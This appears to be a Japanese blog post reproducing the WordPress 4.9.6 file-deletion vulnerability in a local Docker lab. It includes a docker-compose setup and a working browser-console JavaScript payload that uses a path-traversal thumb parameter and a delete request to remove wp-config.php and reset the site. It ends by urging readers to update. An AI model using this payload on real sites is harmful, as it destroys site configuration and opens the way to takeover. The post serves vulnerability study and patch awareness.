Edited at

WordPress 4.9.6の脆弱性を再現確認してみた

More than 1 year has passed since last update.

WARNING: WordPress File Delete to Code Execution

で、動画付きで解説されている話

多分、

『editattachmentアクションの時のthumbパラメータがユーザー入力だけど、ノーチェックでidと結びつくようになってるので、結びつけてやれば、wordpressアプリの権限で触れるところ任意で削除出来るので、wp-config.phpとか削除するとwordpress初期化出来る。

投稿者権限以上でログイン出来るユーザーが攻撃者になりうる。』

って書いてある


環境構築

docker hubのwordpressのものを参考にdocker-compose.ymlを作成

version: '3.1'

services:

wordpress:
image: wordpress:4.9.6
ports:
- 9000:80
environment:
WORDPRESS_DB_PASSWORD: パスワード

mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: パスワード

起動

docker-compose up


  1. ブラウザで、localhost:9000にアクセスして、wordpressをセットアップ

  2. セットアップが完了したら、投稿者権限の新規ユーザーを追加

  3. 追加した、投稿者権限のユーザーでログイン

スクリーンショット 2018-07-12 16.53.30.png


再現確認

メディアから新規追加で、画像を追加(この時、ファイル名に日本語を含まないファイルをアップロードする事)

スクリーンショット 2018-07-12 16.54.15.png

メディアの編集画面で、ブラウザの開発者ツールを立ち上げ、コンソールにスクリプトを流す

スクリーンショット 2018-07-12 16.58.34.png

var nonce = document.getElementById("_wpnonce").value

var id = document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
var READYSTATE_COMPLETED = 4

if (this.readyState == READYSTATE_COMPLETED) {
var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
var data = "action=delete&_wpnonce=" + nonce

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send(data)
}
}
xhr.send(data)

あとは、ブラウザ上で適当に遷移すれば、セットアップの最初の画面が出る

スクリーンショット 2018-07-12 17.06.04.png


ファイル名に日本語を含まないファイルをアップロードする件

今回の構築環境のせいなのか、ファイルを削除すると変な状態にはなるものの、wp-config.phpが消えずにハマった


変な状態

以下のように(タイトルなし)というものが表示されるようになるし、wordpressの初期画面出ない

サーバーに入ると、ファイルも残っており消えてなさそう

スクリーンショット 2018-07-12 16.56.54.png


結論

手軽に初期化が出来るものの、投稿者権限以上でログインしないといけないので、運用体制次第ですが、そこまで脅威ではなさそうな気がします。

とはいえ、アップデートすれば治るものですし、必ずアップデートをしましょう。